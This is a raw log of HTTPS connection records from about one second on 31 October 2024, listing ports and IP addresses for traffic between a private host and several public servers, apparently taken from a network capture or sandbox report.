Oct 31, 2024 01:18:46.097836971 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.097935915 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.098012924 CET	49907	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.101157904 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.101258993 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.101273060 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.101341963 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.101926088 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.101953030 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.102020979 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.102050066 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.102114916 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.102121115 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.102135897 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.102176905 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.102986097 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.103034019 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.103351116 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.105899096 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.105952024 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.105993032 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.106017113 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.106045961 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.125890970 CET	49908	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.125902891 CET	443	49908	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.134025097 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.134037018 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.134049892 CET	49906	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.134053946 CET	443	49906	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.136375904 CET	49907	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.136375904 CET	49907	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.136401892 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.136421919 CET	443	49907	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.143484116 CET	49913	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.143505096 CET	443	49913	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.146380901 CET	49912	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.146387100 CET	443	49912	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.147203922 CET	49911	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.147219896 CET	443	49911	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.152128935 CET	49923	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.152158976 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.152158976 CET	49924	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.152184963 CET	443	49924	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.152276039 CET	49923	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.152362108 CET	49924	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.152606964 CET	49923	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.152621031 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.152864933 CET	49924	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.152880907 CET	443	49924	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.153107882 CET	49925	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.153139114 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.153234959 CET	49925	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.153384924 CET	49925	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.153390884 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.171331882 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.171396971 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.175337076 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.175390959 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.196647882 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.196813107 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.196960926 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.197607040 CET	49909	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.197619915 CET	443	49909	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.201308012 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.201332092 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.201349020 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.201414108 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.201440096 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.201486111 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.203494072 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.203519106 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.203569889 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.203586102 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.203603029 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.203737020 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.203941107 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.203989029 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.209664106 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.209702969 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.209923029 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210139990 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210161924 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.210216045 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210356951 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210380077 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.210514069 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210530043 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210534096 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.210720062 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210802078 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210810900 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.210863113 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210885048 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.210896969 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.211002111 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.211016893 CET	49927	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.211026907 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.211028099 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.211046934 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.211081028 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.211091995 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.211116076 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.211132050 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.211138964 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.211146116 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.211209059 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.211224079 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.211335897 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.211348057 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.212129116 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.212147951 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.212306976 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.214540005 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.214555979 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.217475891 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.217520952 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.217570066 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.217621088 CET	49916	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.218173981 CET	49916	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.218180895 CET	443	49916	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.219481945 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.219500065 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.219561100 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.219569921 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.219912052 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.220082045 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.220134974 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.232270002 CET	49932	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.232280970 CET	443	49932	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.232347965 CET	49932	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.249142885 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.249162912 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.249228001 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.249650955 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.249676943 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.249727011 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.249982119 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.249989986 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.250037909 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.250247002 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.250257015 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.250371933 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.250384092 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.250962019 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.250973940 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.261686087 CET	49932	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.261718988 CET	443	49932	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.289623976 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:46.289664030 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:46.289730072 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:46.290168047 CET	49936	443	192.168.2.5	104.40.82.182
Oct 31, 2024 01:18:46.290183067 CET	443	49936	104.40.82.182	192.168.2.5
Oct 31, 2024 01:18:46.317230940 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.317264080 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.317311049 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.317334890 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.317353010 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.317395926 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.318979979 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.319042921 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.319046021 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.319056988 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.319113970 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.319448948 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.319513083 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.326131105 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.326154947 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.326196909 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.326204062 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.326237917 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.326257944 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.338768959 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.338831902 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.338834047 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.338959932 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.344064951 CET	49915	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.344085932 CET	443	49915	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.369416952 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:46.369451046 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:46.369517088 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:46.369692087 CET	49937	443	192.168.2.5	20.52.64.200
Oct 31, 2024 01:18:46.369707108 CET	443	49937	20.52.64.200	192.168.2.5
Oct 31, 2024 01:18:46.389050007 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:46.389087915 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:46.389206886 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:46.389611959 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:46.389641047 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:46.389713049 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:46.389844894 CET	49938	443	192.168.2.5	108.156.211.31
Oct 31, 2024 01:18:46.389859915 CET	443	49938	108.156.211.31	192.168.2.5
Oct 31, 2024 01:18:46.390031099 CET	49939	443	192.168.2.5	20.125.209.212
Oct 31, 2024 01:18:46.390042067 CET	443	49939	20.125.209.212	192.168.2.5
Oct 31, 2024 01:18:46.432528019 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.432545900 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.432600021 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.432614088 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.432634115 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.432658911 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.433001995 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.433063030 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.433859110 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.433898926 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.433923960 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.433931112 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.433940887 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.433954954 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.433962107 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.433986902 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.434016943 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.438155890 CET	49914	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.438167095 CET	443	49914	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.527301073 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:46.601042986 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:46.609951973 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:46.609961987 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:46.610572100 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:46.610577106 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:46.610596895 CET	49918	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:46.610606909 CET	443	49918	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:46.634136915 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.634592056 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.634608030 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.634964943 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.636200905 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.636276007 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.636609077 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.683334112 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.687254906 CET	49940	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:46.687300920 CET	443	49940	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:46.687375069 CET	49940	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:46.687665939 CET	49940	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:46.687683105 CET	443	49940	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:46.689907074 CET	49941	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:46.689941883 CET	443	49941	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:46.690025091 CET	49941	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:46.695207119 CET	49941	443	192.168.2.5	184.25.237.99
Oct 31, 2024 01:18:46.695220947 CET	443	49941	184.25.237.99	192.168.2.5
Oct 31, 2024 01:18:46.696902037 CET	49942	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:46.696933031 CET	443	49942	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:46.696993113 CET	49942	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:46.697645903 CET	49942	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:46.697660923 CET	443	49942	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:46.702604055 CET	49943	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:46.702630043 CET	443	49943	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:46.702739000 CET	49943	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:46.703008890 CET	49943	443	192.168.2.5	204.79.197.219
Oct 31, 2024 01:18:46.703026056 CET	443	49943	204.79.197.219	192.168.2.5
Oct 31, 2024 01:18:46.766762018 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.766782045 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.766838074 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.766851902 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.766891003 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.836922884 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:46.862332106 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:46.862346888 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:46.862698078 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:46.866703987 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.867688894 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.882679939 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.886873007 CET	49921	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.886888027 CET	443	49921	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.887461901 CET	49944	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.887475967 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.887581110 CET	49944	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.890398026 CET	49925	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.890427113 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.891287088 CET	49925	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.891293049 CET	443	49925	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.891870975 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:46.891954899 CET	443	49922	20.96.153.111	192.168.2.5
Oct 31, 2024 01:18:46.893616915 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.900113106 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.900825024 CET	49923	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.900849104 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.901649952 CET	49923	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.901663065 CET	443	49923	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.904283047 CET	49945	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:46.904328108 CET	443	49945	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:46.904463053 CET	49945	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:46.904647112 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.904654980 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.904922962 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.904941082 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.905158043 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.905364037 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.920865059 CET	49944	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.920875072 CET	443	49944	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.921983957 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.921992064 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.924062967 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.924127102 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.933572054 CET	443	49924	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.935089111 CET	49924	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.935111046 CET	443	49924	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.935862064 CET	49924	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.935863972 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.935867071 CET	443	49924	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.939002991 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.940260887 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.943653107 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.958750963 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:46.958765030 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:46.958859921 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:46.964430094 CET	443	49927	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.965277910 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.965646982 CET	49945	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:46.965661049 CET	443	49945	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:46.967294931 CET	49933	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.967421055 CET	443	49933	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.967801094 CET	49934	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.967900991 CET	443	49934	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.970287085 CET	49922	443	192.168.2.5	20.96.153.111
Oct 31, 2024 01:18:46.976213932 CET	49935	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:46.976577044 CET	443	49935	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:46.978283882 CET	443	49932	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.978298903 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.978307009 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.979424000 CET	443	49928	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.979485035 CET	49928	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.980484962 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.980494022 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.980628967 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.980642080 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.980987072 CET	49926	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.981004953 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.981566906 CET	443	49930	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.981635094 CET	49930	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.981674910 CET	443	49929	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.981740952 CET	49929	443	192.168.2.5	13.107.246.57
Oct 31, 2024 01:18:46.982392073 CET	443	49926	13.107.246.57	192.168.2.5
Oct 31, 2024 01:18:46.988625050 CET	49946	443	192.168.2.5	23.198.7.181
Oct 31, 2024 01:18:46.988641024 CET	443	49946	23.198.7.181	192.168.2.5
Oct 31, 2024 01:18:46.988678932 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.988697052 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.989550114 CET	49931	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.989553928 CET	443	49931	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.990535021 CET	49932	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.990549088 CET	443	49932	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:46.991086006 CET	49932	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:46.991091013 CET	443	49932	13.107.246.45	192.168.2.5
